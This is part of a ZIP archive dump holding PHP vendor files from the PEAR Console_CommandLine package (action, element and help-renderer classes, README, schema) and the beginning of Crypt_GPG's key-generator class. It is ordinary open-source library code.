     */
    protected $result;

    /**
     * A reference to the option instance.
     *
     * @var Console_CommandLine_Option $option The action option
     */
    protected $option;

    /**
     * A reference to the parser instance.
     *
     * @var Console_CommandLine $parser The parser
     */
    protected $parser;

    // }}}
    // __construct() {{{

    /**
     * Constructor
     *
     * @param Console_CommandLine_Result $result The result instance
     * @param Console_CommandLine_Option $option The action option
     * @param Console_CommandLine        $parser The current parser
     *
     * @return void
     */
    public function __construct($result, $option, $parser)
    {
        $this->result = $result;
        $this->option = $option;
        $this->parser = $parser;
    }

    // }}}
    // getResult() {{{

    /**
     * Convenience method to retrieve the value of result->options[name].
     *
     * @return mixed The result value or null
     */
    public function getResult()
    {
        if (isset($this->result->options[$this->option->name])) {
            return $this->result->options[$this->option->name];
        }
        return null;
    }

    // }}}
    // format() {{{

    /**
     * Allow a value to be pre-formatted prior to being used in a choices test.
     * Setting $value to the new format will keep the formatting.
     *
     * @param mixed &$value The value to format
     *
     * @return mixed The formatted value
     */
    public function format(&$value)
    {
        return $value;
    }

    // }}}
    // setResult() {{{

    /**
     * Convenience method to assign the result->options[name] value.
     *
     * @param mixed $result The result value
     *
     * @return void
     */
    public function setResult($result)
    {
        $this->result->options[$this->option->name] = $result;
    }

    // }}}
    // execute() {{{

    /**
     * Executes the action with the value entered by the user.
     * All children actions must implement this method.
     *
     * @param mixed $value  The option value
     * @param array $params An optional array of parameters
     *
     * @return string
     */
    abstract public function execute($value = false, $params = array());
    // }}}
}
PK
h�\U�*��?vendor/pear/console_commandline/Console/CommandLine/Element.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * Class that represent a command line element (an option, or an argument).
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
abstract class Console_CommandLine_Element
{
    // Public properties {{{

    /**
     * The element name.
     *
     * @var string $name Element name
     */
    public $name;

    /**
     * The name of variable displayed in the usage message, if no set it 
     * defaults to the "name" property.
     *
     * @var string $help_name Element "help" variable name
     */
    public $help_name;

    /**
     * The element description.
     *
     * @var string $description Element description
     */
    public $description;

    /**
     * The default value of the element if not provided on the command line.
     *
     * @var mixed $default Default value of the option.
     */
    public $default;

    /**
     * Custom errors messages for this element
     *
     * This array is of the form:
     * <code>
     * <?php
     * array(
     *     $messageName => $messageText,
     *     $messageName => $messageText,
     *     ...
     * );
     * ?>
     * </code>
     *
     * If specified, these messages override the messages provided by the
     * default message provider. For example:
     * <code>
     * <?php
     * $messages = array(
     *     'ARGUMENT_REQUIRED' => 'The argument foo is required.',
     * );
     * ?>
     * </code>
     *
     * @var array
     * @see Console_CommandLine_MessageProvider_Default
     */
    public $messages = array();

    // }}}
    // __construct() {{{

    /**
     * Constructor.
     *
     * @param string $name   The name of the element
     * @param array  $params An optional array of parameters
     *
     * @return void
     */
    public function __construct($name = null, $params = array()) 
    {
        $this->name = $name;
        foreach ($params as $attr => $value) {
            if (property_exists($this, $attr)) {
                $this->$attr = $value;
            }
        }
    }

    // }}}
    // toString() {{{

    /**
     * Returns the string representation of the element.
     *
     * @return string The string representation of the element
     * @todo use __toString() instead
     */
    public function toString()
    {
        return $this->help_name;
    }
    // }}}
    // validate() {{{

    /**
     * Validates the element instance and set it's default values.
     *
     * @return void
     * @throws Console_CommandLine_Exception
     */
    public function validate()
    {
        // if no help_name passed, default to name
        if ($this->help_name == null) {
            $this->help_name = $this->name;
        }
    }

    // }}}
}
PK
h�\Rb�00Hvendor/pear/console_commandline/Console/CommandLine/Renderer/Default.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console 
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @filesource
 */

/**
 * The renderer interface.
 */
require_once 'Console/CommandLine/Renderer.php';

/**
 * Console_CommandLine default renderer.
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License 
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 */
class Console_CommandLine_Renderer_Default implements Console_CommandLine_Renderer
{
    // Properties {{{

    /**
     * Integer that define the max width of the help text.
     *
     * @var integer $line_width Line width
     */
    public $line_width = 75;

    /**
     * Integer that define the max width of the help text.
     *
     * @var integer $line_width Line width
     */
    public $options_on_different_lines = false;

    /**
     * An instance of Console_CommandLine.
     *
     * @var Console_CommandLine $parser The parser
     */
    public $parser = false;

    // }}}
    // __construct() {{{

    /**
     * Constructor.
     *
     * @param object $parser A Console_CommandLine instance
     *
     * @return void
     */
    public function __construct($parser = false) 
    {
        $this->parser = $parser;
    }

    // }}}
    // usage() {{{

    /**
     * Returns the full usage message.
     *
     * @return string The usage message
     */
    public function usage()
    {
        $ret = '';
        if (!empty($this->parser->description)) { 
            $ret .= $this->description() . "\n\n";
        }
        $ret .= $this->usageLine() . "\n";
        if (count($this->parser->commands) > 0) {
            $ret .= $this->commandUsageLine() . "\n";
        }
        if (count($this->parser->options) > 0) {
            $ret .= "\n" . $this->optionList() . "\n";
        }
        if (count($this->parser->args) > 0) {
            $ret .= "\n" . $this->argumentList() . "\n";
        }
        if (count($this->parser->commands) > 0) {
            $ret .= "\n" . $this->commandList() . "\n";
        }
        $ret .= "\n";
        return $ret;
    }
    // }}}
    // error() {{{

    /**
     * Returns a formatted error message.
     *
     * @param string $error The error message to format
     *
     * @return string The error string
     */
    public function error($error)
    {
        $ret = 'Error: ' . $error . "\n";
        if ($this->parser->add_help_option) {
            $name = $this->name();
            $ret .= $this->wrap($this->parser->message_provider->get('PROG_HELP_LINE',
                array('progname' => $name))) . "\n";
            if (count($this->parser->commands) > 0) {
                $ret .= $this->wrap($this->parser->message_provider->get('COMMAND_HELP_LINE',
                    array('progname' => $name))) . "\n";
            }
        }
        return $ret;
    }

    // }}}
    // version() {{{

    /**
     * Returns the program version string.
     *
     * @return string The version string
     */
    public function version()
    {
        return $this->parser->message_provider->get('PROG_VERSION_LINE', array(
            'progname' => $this->name(),
            'version'  => $this->parser->version
        )) . "\n";
    }

    // }}}
    // name() {{{

    /**
     * Returns the full name of the program or the sub command
     *
     * @return string The name of the program
     */
    protected function name()
    {
        $name   = $this->parser->name;
        $parent = $this->parser->parent;
        while ($parent) {
            if (count($parent->options) > 0) {
                $name = '[' 
                    . strtolower($this->parser->message_provider->get('OPTION_WORD',
                          array('plural' => 's'))) 
                    . '] ' . $name;
            }
            $name = $parent->name . ' ' . $name;
            $parent = $parent->parent;
        }
        return $this->wrap($name);
    }

    // }}}
    // description() {{{

    /**
     * Returns the command line description message.
     *
     * @return string The description message
     */
    protected function description()
    {
        return $this->wrap($this->parser->description);
    }

    // }}}
    // usageLine() {{{

    /**
     * Returns the command line usage message
     *
     * @return string the usage message
     */
    protected function usageLine()
    {
        $usage = $this->parser->message_provider->get('USAGE_WORD') . ":\n";
        $ret   = $usage . '  ' . $this->name();
        if (count($this->parser->options) > 0) {
            $ret .= ' [' 
                . strtolower($this->parser->message_provider->get('OPTION_WORD'))
                . ']';
        }
        if (count($this->parser->args) > 0) {
            foreach ($this->parser->args as $name=>$arg) {
                $arg_str = $arg->help_name;
                if ($arg->multiple) {
                    $arg_str .= '1 ' . $arg->help_name . '2 ...';
                }
                if ($arg->optional) {
                    $arg_str = '[' . $arg_str . ']';
                }
                $ret .= ' ' . $arg_str;
            }
        }
        return $this->columnWrap($ret, 2);
    }

    // }}}
    // commandUsageLine() {{{

    /**
     * Returns the command line usage message for subcommands.
     *
     * @return string The usage line
     */
    protected function commandUsageLine()
    {
        if (count($this->parser->commands) == 0) {
            return '';
        }
        $ret = '  ' . $this->name();
        if (count($this->parser->options) > 0) {
            $ret .= ' [' 
                . strtolower($this->parser->message_provider->get('OPTION_WORD'))
                . ']';
        }
        $ret       .= " <command>";
        $hasArgs    = false;
        $hasOptions = false;
        foreach ($this->parser->commands as $command) {
            if (!$hasArgs && count($command->args) > 0) {
                $hasArgs = true;
            }
            if (!$hasOptions && ($command->add_help_option || 
                $command->add_version_option || count($command->options) > 0)) {
                $hasOptions = true;
            }
        }
        if ($hasOptions) {
            $ret .= ' [options]';
        }
        if ($hasArgs) {
            $ret .= ' [args]';
        }
        return $this->columnWrap($ret, 2);
    }

    // }}}
    // argumentList() {{{

    /**
     * Render the arguments list that will be displayed to the user, you can 
     * override this method if you want to change the look of the list.
     *
     * @return string The formatted argument list
     */
    protected function argumentList()
    {
        $col  = 0;
        $args = array();
        foreach ($this->parser->args as $arg) {
            $argstr = '  ' . $arg->toString();
            $args[] = array($argstr, $arg->description);
            $ln     = strlen($argstr);
            if ($col < $ln) {
                $col = $ln;
            }
        }
        $ret = $this->parser->message_provider->get('ARGUMENT_WORD') . ":";
        foreach ($args as $arg) {
            $text = str_pad($arg[0], $col) . '  ' . $arg[1];
            $ret .= "\n" . $this->columnWrap($text, $col+2);
        }
        return $ret;
    }

    // }}}
    // optionList() {{{

    /**
     * Render the options list that will be displayed to the user, you can 
     * override this method if you want to change the look of the list.
     *
     * @return string The formatted option list
     */
    protected function optionList()
    {
        $col     = 0;
        $options = array();
        foreach ($this->parser->options as $option) {
            $delim    = $this->options_on_different_lines ? "\n" : ', ';
            $optstr   = $option->toString($delim);
            $lines    = explode("\n", $optstr);
            $lines[0] = '  ' . $lines[0];
            if (count($lines) > 1) {
                $lines[1] = '  ' . $lines[1];
                $ln       = strlen($lines[1]);
            } else {
                $ln = strlen($lines[0]);
            }
            $options[] = array($lines, $option->description);
            if ($col < $ln) {
                $col = $ln;
            }
        }
        $ret = $this->parser->message_provider->get('OPTION_WORD') . ":";
        foreach ($options as $option) {
            if (count($option[0]) > 1) {
                $text = str_pad($option[0][1], $col) . '  ' . $option[1];
                $pre  = $option[0][0] . "\n";
            } else {
                $text = str_pad($option[0][0], $col) . '  ' . $option[1];
                $pre  = '';
            }
            $ret .= "\n" . $pre . $this->columnWrap($text, $col+2);
        }
        return $ret;
    }

    // }}}
    // commandList() {{{

    /**
     * Render the command list that will be displayed to the user, you can 
     * override this method if you want to change the look of the list.
     *
     * @return string The formatted subcommand list
     */
    protected function commandList()
    {

        $commands = array();
        $col      = 0;
        foreach ($this->parser->commands as $cmdname=>$command) {
            $cmdname    = '  ' . $cmdname;
            $commands[] = array($cmdname, $command->description, $command->aliases);
            $ln         = strlen($cmdname);
            if ($col < $ln) {
                $col = $ln;
            }
        }
        $ret = $this->parser->message_provider->get('COMMAND_WORD') . ":";
        foreach ($commands as $command) {
            $text = str_pad($command[0], $col) . '  ' . $command[1];
            if ($aliasesCount = count($command[2])) {
                $pad = '';
                $text .= ' (';
                $text .= $aliasesCount > 1 ? 'aliases: ' : 'alias: ';
                foreach ($command[2] as $alias) {
                    $text .= $pad . $alias;
                    $pad   = ', ';
                }
                $text .= ')';
            }
            $ret .= "\n" . $this->columnWrap($text, $col+2);
        }
        return $ret;
    }

    // }}}
    // wrap() {{{

    /**
     * Wraps the text passed to the method.
     *
     * @param string $text The text to wrap
     * @param int    $lw   The column width (defaults to line_width property)
     *
     * @return string The wrapped text
     */
    protected function wrap($text, $lw=null)
    {
        if ($this->line_width > 0) {
            if ($lw === null) {
                $lw = $this->line_width;
            }
            return wordwrap($text, $lw, "\n", false);
        }
        return $text;
    }

    // }}}
    // columnWrap() {{{

    /**
     * Wraps the text passed to the method at the specified width.
     *
     * @param string $text The text to wrap
     * @param int    $cw   The wrap width
     *
     * @return string The wrapped text
     */
    protected function columnWrap($text, $cw)
    {
        $tokens = explode("\n", $this->wrap($text));
        $ret    = $tokens[0];
        $text   = trim(substr($text, strlen($ret)));
        if (empty($text)) {
            return $ret;
        }

        $chunks = $this->wrap($text, $this->line_width - $cw);
        $tokens = explode("\n", $chunks);
        foreach ($tokens as $token) {
            if (!empty($token)) {
                $ret .= "\n" . str_repeat(' ', $cw) . $token;
            } else {
                $ret .= "\n";
            }
        }
        return $ret;
    }

    // }}}
}
PK
h�\ęR�%%-vendor/pear/console_commandline/composer.jsonnu�[���{
    "name": "pear/console_commandline",
    "description": "A full featured command line options and arguments parser.",
    "type": "library",
    "keywords": [
        "console"
    ],
    "homepage": "https://github.com/pear/Console_CommandLine",
    "license": "MIT",
    "authors": [
        {
            "name": "Richard Quadling",
            "email": "rquadling@gmail.com"
        },
        {
            "name": "David Jean Louis",
            "email": "izimobil@gmail.com"
        }
    ],
    "require": {
        "php": ">=5.3.0",
        "pear/pear_exception": "^1.0.0",
        "ext-dom": "*",
        "ext-xml": "*"
    },
    "autoload": {
        "psr-0": {
            "Console": "./"
        },
        "exclude-from-classmap": ["tests/"]
    },
    "include-path": [
        ""
    ],
    "support": {
        "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Console_CommandLine",
        "source": "https://github.com/pear/Console_CommandLine"
    },
    "require-dev": {
        "phpunit/phpunit": "*"
    }
}
PK
h�\H��-LL*vendor/pear/console_commandline/README.rstnu�[���*******************
Console_CommandLine
*******************
A full featured command line options and arguments parser.

``Console_CommandLine`` is a full featured package for managing command-line
options and arguments highly inspired from python ``optparse`` module, it allows
the developer to easily build complex command line interfaces.


=============
Main features
=============
* handles sub commands (ie. ``$ myscript.php -q subcommand -f file``),
* can be completely built from an XML definition file,
* generate ``--help`` and ``--version`` options automatically,
* can be completely customized,
* builtin support for i18n,
* and much more...


============
Installation
============

PEAR
====
::

    $ pear install Console_CommandLine


Composer
========
::

    $ composer require pear/console_commandline


=====
Links
=====
Homepage
  http://pear.php.net/package/Console_CommandLine
Bug tracker
  http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Console_CommandLine
Documentation
  http://pear.php.net/manual/en/package.console.console-commandline.php
Unit test status
  https://travis-ci.org/pear/Console_CommandLine

  .. image:: https://travis-ci.org/pear/Console_CommandLine.svg?branch=stable
     :target: https://travis-ci.org/pear/Console_CommandLine
Packagist
  https://packagist.org/packages/pear/console_commandline
PK
h�\DI�o��+vendor/pear/console_commandline/phpunit.xmlnu�[���<phpunit>
 <testsuites>
  <testsuite name="tests">
   <directory suffix=".phpt">tests/</directory>
  </testsuite>
 </testsuites>
 <php>
  <env name="XDEBUG_MODE" value="off"/>
 </php>
</phpunit>
PK
h�\7^����2vendor/pear/console_commandline/data/xmlschema.rngnu�[���<?xml version="1.0" encoding="UTF-8"?>

<!-- 
  This is the RNG file for validating Console_CommandLine xml definitions.

  Author  : David JEAN LOUIS
  Licence : MIT License
  Version : CVS: $Id$
-->

<grammar xmlns="http://relaxng.org/ns/structure/1.0" 
         datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes">

  <!-- structure -->
  <start>
      <ref name="ref_command"/>
  </start>

  <!-- Command node -->
  <define name="ref_command_subcommand_common">
    <interleave>
      <optional>
        <element name="name">
          <text/>
        </element>
      </optional>
      <optional>
        <element name="description">
          <text/>
        </element>
      </optional>
      <optional>
        <element name="version">
          <text/>
        </element>
      </optional>
      <optional>
        <element name="add_help_option">
          <ref name="ref_bool_choices"/>
        </element>
      </optional>
      <optional>
        <element name="add_version_option">
          <ref name="ref_bool_choices"/>
        </element>
      </optional>
      <optional>
        <element name="force_posix">
          <ref name="ref_bool_choices"/>
        </element>
      </optional>
      <optional>
        <ref name="ref_messages_common"/>
      </optional>
      <zeroOrMore>
        <ref name="ref_option"/>
      </zeroOrMore>
      <zeroOrMore>
        <ref name="ref_argument"/>
      </zeroOrMore>
      <zeroOrMore>
        <ref name="ref_subcommand"/>
      </zeroOrMore>
    </interleave>
  </define>

  <!-- command element -->

  <define name="ref_command">
    <element name="command">
      <interleave>
        <ref name="ref_command_subcommand_common"/>
      </interleave>
    </element>
  </define>

  <!-- subcommand element -->

  <define name="ref_subcommand">
    <element name="command">
      <interleave>
        <ref name="ref_command_subcommand_common"/>
        <optional>
          <element name="aliases">
            <zeroOrMore>
              <element name="alias">
                <text/>
              </element>
            </zeroOrMore>
          </element>
        </optional>
      </interleave>
    </element>
  </define>

  <!-- custom messages common element -->

  <define name="ref_messages_common">
    <element name="messages">
      <oneOrMore>
        <element name="message">
          <attribute name="name">
            <data type="string"/>
          </attribute>
          <text/>
        </element>
      </oneOrMore>
    </element>
  </define>

  <!-- options and arguments common elements -->

  <define name="ref_option_argument_common">
    <interleave>
      <optional>
        <element name="description">
          <text/>
        </element>
      </optional>
      <optional>
        <element name="help_name">
          <text/>
        </element>
      </optional>
      <optional>
        <element name="default">
          <text/>
        </element>
      </optional>
      <optional>
        <ref name="ref_messages_common"/>
      </optional>
    </interleave>
  </define>

  <!-- Option node -->
  <define name="ref_option">
    <element name="option">
      <attribute name="name">
        <data type="string"/>
      </attribute>
      <interleave>
        <optional>
          <element name="short_name">
            <text/>
          </element>
        </optional>
        <optional>
          <element name="long_name">
            <text/>
          </element>
        </optional>
        <ref name="ref_option_argument_common"/>
        <optional>
          <element name="action">
            <text/>
          </element>
        </optional>
        <optional>
          <element name="choices">
            <zeroOrMore>
              <element name="choice">
                <text/>
              </element>
            </zeroOrMore>
          </element>
        </optional>
        <optional>
          <element name="add_list_option">
            <ref name="ref_bool_choices"/>
          </element>
        </optional>
      </interleave>
    </element>
  </define>

  <!-- Argument node -->
  <define name="ref_argument">
    <element name="argument">
      <attribute name="name">
        <data type="string"/>
      </attribute>
      <interleave>
        <ref name="ref_option_argument_common"/>
        <optional>
          <element name="multiple">
            <ref name="ref_bool_choices"/>
          </element>
        </optional>
        <optional>
          <element name="optional">
            <ref name="ref_bool_choices"/>
          </element>
        </optional>
        <optional>
          <element name="choices">
            <zeroOrMore>
              <element name="choice">
                <text/>
              </element>
            </zeroOrMore>
           </element>
         </optional>
      </interleave>
    </element>
  </define>

  <!-- boolean choices -->
  <define name="ref_bool_choices">
    <choice>
      <data type="token">
        <param name="pattern">[Tt][Rr][Uu][Ee]</param>
      </data>
      <data type="token">
        <param name="pattern">[On][Nn]</param>
      </data>
      <data type="token">
        <param name="pattern">[Yy][Ee][Ss]</param>
      </data>
      <value>1</value>
      <data type="token">
        <param name="pattern">[Ff][Aa][Ll][Ss][Ee]</param>
      </data>
      <data type="token">
        <param name="pattern">[Of][Ff][Ff]</param>
      </data>
      <data type="token">
        <param name="pattern">[Nn][Oo]</param>
      </data>
      <value>0</value>
    </choice>
  </define>

</grammar>
PK
h�\`���#vendor/pear/crypt_gpg/composer.jsonnu�[���{
    "name": "pear/crypt_gpg",
    "description": "Provides an object oriented interface to the GNU Privacy Guard (GnuPG). It requires the GnuPG executable to be on the system.",
    "type": "library",
    "keywords": [
        "gpg",
        "gnupg",
        "encryption",
        "pgp"
    ],
    "homepage": "https://github.com/pear/Crypt_GPG",
    "license": "LGPL-2.1",
    "authors": [
        {
            "name": "Michael Gauthier",
            "email": "mike@silverorange.com"
        },
        {
            "name": "Nathan Fredrickson",
            "email": "nathan@silverorange.com"
        },
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl"
        }
    ],
    "require": {
        "php": ">=5.4.8",
        "ext-mbstring": "*",
        "pear/console_commandline": "*",
        "pear/pear_exception": "*"
    },
    "suggest": {
        "ext-posix": "May require the posix PHP extension"
    },
    "bin": [
        "scripts/crypt-gpg-pinentry"
    ],
    "autoload": {
        "classmap": ["Crypt/"]
    },
    "include-path": [
        "./"
    ],
    "support": {
        "issues": "https://pear.php.net/bugs/search.php?cmd=display&package_name[]=Crypt_GPG",
        "source": "https://github.com/pear/Crypt_GPG"
    },
    "require-dev": {
        "phpstan/phpstan": "^1.2",
        "phpunit/phpunit": "^9"
    },
    "archive": {
        "exclude": ["tools", "package.php"]
    }
}
PK
h�\��xRxR0vendor/pear/crypt_gpg/Crypt/GPG/KeyGenerator.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Crypt_GPG is a package to use GPG from PHP
 *
 * This file contains an object that handles GnuPG key generation.
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2011-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://www.gnupg.org/
 */

/**
 * Base class for GPG methods
 */
require_once 'Crypt/GPGAbstract.php';

/**
 * GnuPG key generator
 *
 * This class provides an object oriented interface for generating keys with
 * the GNU Privacy Guard (GPG).
 *
 * Secure key generation requires true random numbers, and as such can be slow.
 * If the operating system runs out of entropy, key generation will block until
 * more entropy is available.
 *
 * If quick key generation is important, a hardware entropy generator, or an
 * entropy gathering daemon may be installed. For example, administrators of
 * Debian systems may want to install the 'randomsound' package.
 *
 * This class uses the experimental automated key generation support available
 * in GnuPG. See <b>doc/DETAILS</b> in the
 * {@link http://www.gnupg.org/download/ GPG distribution} for detailed
 * information on the key generation format.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://www.gnupg.org/
 */
class Crypt_GPG_KeyGenerator extends Crypt_GPGAbstract
{
    /**
     * The expiration date of generated keys
     *
     * @var int
     *
     * @see Crypt_GPG_KeyGenerator::setExpirationDate()
     */
    protected $expirationDate = 0;

    /**
     * The passphrase of generated keys
     *
     * @var string
     *
     * @see Crypt_GPG_KeyGenerator::setPassphrase()
     */
    protected $passphrase = '';

    /**
     * The algorithm for generated primary keys
     *
     * @var int
     *
     * @see Crypt_GPG_KeyGenerator::setKeyParams()
     */
    protected $keyAlgorithm = Crypt_GPG_SubKey::ALGORITHM_DSA;

    /**
     * The size of generated primary keys
     *
     * @var int
     *
     * @see Crypt_GPG_KeyGenerator::setKeyParams()
     */
    protected $keySize = 1024;

    /**
     * The usages of generated primary keys
     *
     * This is a bitwise combination of the usage constants in
     * {@link Crypt_GPG_SubKey}.
     *
     * @var int
     *
     * @see Crypt_GPG_KeyGenerator::setKeyParams()
     */
    protected $keyUsage = 6; // USAGE_SIGN | USAGE_CERTIFY

    /**
     * The algorithm for generated sub-keys
     *
     * @var int
     *
     * @see Crypt_GPG_KeyGenerator::setSubKeyParams()
     */
    protected $subKeyAlgorithm = Crypt_GPG_SubKey::ALGORITHM_ELGAMAL_ENC;

    /**
     * The size of generated sub-keys
     *
     * @var int
     *
     * @see Crypt_GPG_KeyGenerator::setSubKeyParams()
     */
    protected $subKeySize = 2048;

    /**
     * The usages of generated sub-keys
     *
     * This is a bitwise combination of the usage constants in
     * {@link Crypt_GPG_SubKey}.
     *
     * @var int
     *
     * @see Crypt_GPG_KeyGenerator::setSubKeyParams()
     */
    protected $subKeyUsage = Crypt_GPG_SubKey::USAGE_ENCRYPT;

    /**
     * Creates a new GnuPG key generator
     *
     * @param array $options An array of options used to create the object.
     *                       All options are optional and are represented as key-value
     *                       pairs. See Crypt_GPGAbstract::__construct() for more info.
     *
     * @throws Crypt_GPG_FileException if the <kbd>homedir</kbd> does not exist
     *         and cannot be created. This can happen if <kbd>homedir</kbd> is
     *         not specified, Crypt_GPG is run as the web user, and the web
     *         user has no home directory. This exception is also thrown if any
     *         of the options <kbd>publicKeyring</kbd>,
     *         <kbd>privateKeyring</kbd> or <kbd>trustDb</kbd> options are
     *         specified but the files do not exist or are are not readable.
     *         This can happen if the user running the Crypt_GPG process (for
     *         example, the Apache user) does not have permission to read the
     *         files.
     *
     * @throws PEAR_Exception if the provided <kbd>binary</kbd> is invalid, or
     *         if no <kbd>binary</kbd> is provided and no suitable binary could
     *         be found.
     *
     * @throws PEAR_Exception if the provided <kbd>agent</kbd> is invalid, or
     *         if no <kbd>agent</kbd> is provided and no suitable gpg-agent
     *         could be found.
     */
    public function __construct(array $options = array())
    {
        parent::__construct($options);
    }

    /**
     * Sets the expiration date of generated keys
     *
     * @param string|int $date Either a string that may be parsed by
     *                         PHP's strtotime() function, or an integer
     *                         timestamp representing the number of seconds
     *                         since the UNIX epoch. This date must be at
     *                         least one date in the future. Keys that
     *                         expire in the past may not be generated. Use
     *                         an expiration date of 0 for keys that do not
     *                         expire.
     *
     * @throws InvalidArgumentException If the date is not a valid format, or
     *                                  if the date is not at least one day in
     *                                  the future, or if the date is greater
     *                                  than 2038-01-19T03:14:07.
     *
     * @return Crypt_GPG_KeyGenerator The current object, for fluent interface.
     */
    public function setExpirationDate($date)
    {
        if (is_int($date) || ctype_digit(strval($date))) {
            $expirationDate = intval($date);
        } else {
            $expirationDate = strtotime($date);
        }

        if ($expirationDate === false) {
            throw new InvalidArgumentException(
                sprintf(
                    'Invalid expiration date format: "%s". Please use a ' .
                    'format compatible with PHP\'s strtotime().',
                    $date
                )
            );
        }

        if ($expirationDate !== 0 && $expirationDate < time() + 86400) {
            throw new InvalidArgumentException(
                'Expiration date must be at least a day in the future.'
            );
        }

        // GnuPG suffers from the 2038 bug
        if ($expirationDate > 2147483647) {
            throw new InvalidArgumentException(
                'Expiration date must not be greater than 2038-01-19T03:14:07.'
            );
        }

        $this->expirationDate = $expirationDate;

        return $this;
    }

    /**
     * Sets the passphrase of generated keys
     *
     * @param string $passphrase the passphrase to use for generated keys. Use
     *                           null or an empty string for no passphrase.
     *
     * @return Crypt_GPG_KeyGenerator the current object, for fluent interface.
     */
    public function setPassphrase($passphrase)
    {
        $this->passphrase = strval($passphrase);
        return $this;
    }

    /**
     * Sets the parameters for the primary key of generated key-pairs
     *
     * @param int $algorithm the algorithm used by the key. This should be
     *                       one of the Crypt_GPG_SubKey::ALGORITHM_*
     *                       constants.
     * @param int $size      optional. The size of the key. Different
     *                       algorithms have different size requirements.
     *                       If not specified, the default size for the
     *                       specified algorithm will be used. If an
     *                       invalid key size is used, GnuPG will do its
     *                       best to round it to a valid size.
     * @param int $usage     optional. A bitwise combination of key usages.
     *                       If not specified, the primary key will be used
     *                       only to sign and certify. This is the default
     *                       behavior of GnuPG in interactive mode. Use
     *                       the Crypt_GPG_SubKey::USAGE_* constants here.
     *                       The primary key may be used to certify even
     *                       if the certify usage is not specified.
     *
     * @return Crypt_GPG_KeyGenerator the current object, for fluent interface.
     */
    public function setKeyParams($algorithm, $size = 0, $usage = 0)
    {
        $algorithm = intval($algorithm);

        if ($algorithm === Crypt_GPG_SubKey::ALGORITHM_ELGAMAL_ENC) {
            throw new Crypt_GPG_InvalidKeyParamsException(
                'Primary key algorithm must be capable of signing. The ' .
                'Elgamal algorithm can only encrypt.',
                0,
                $algorithm,
                $size,
                $usage
            );
        }

        if ($size != 0) {
            $size = intval($size);
        }

        if ($usage != 0) {
            $usage = intval($usage);
        }

        $usageEncrypt = Crypt_GPG_SubKey::USAGE_ENCRYPT;

        if ($algorithm === Crypt_GPG_SubKey::ALGORITHM_DSA
            && ($usage & $usageEncrypt) === $usageEncrypt
        ) {
            throw new Crypt_GPG_InvalidKeyParamsException(
                'The DSA algorithm is not capable of encrypting. Please ' .
                'specify a different algorithm or do not include encryption ' .
                'as a usage for the primary key.',
                0,
                $algorithm,
                $size,
                $usage
            );
        }

        $this->keyAlgorithm = $algorithm;

        if ($size != 0) {
            $this->keySize = $size;
        }

        if ($usage != 0) {
            $this->keyUsage = $usage;
        }

        return $this;
    }

    /**
     * Sets the parameters for the sub-key of generated key-pairs
     *
     * @param int $algorithm The algorithm used by the key. This should be
     *                       one of the Crypt_GPG_SubKey::ALGORITHM_*
     *                       constants.
     * @param int $size      Optional size of the key. Different
     *                       algorithms have different size requirements.
     *                       If not specified, the default size for the
     *                       specified algorithm will be used. If an
     *                       invalid key size is used, GnuPG will do its
     *                       best to round it to a valid size.
     * @param int $usage     Optional bitwise combination of key usages.
     *                       If not specified, the sub-key will be used
     *                       only to encrypt. This is the default behavior
     *                       of GnuPG in interactive mode. Use the
     *                       Crypt_GPG_SubKey::USAGE_* constants here.
     *
     * @return Crypt_GPG_KeyGenerator The current object, for fluent interface.
     */
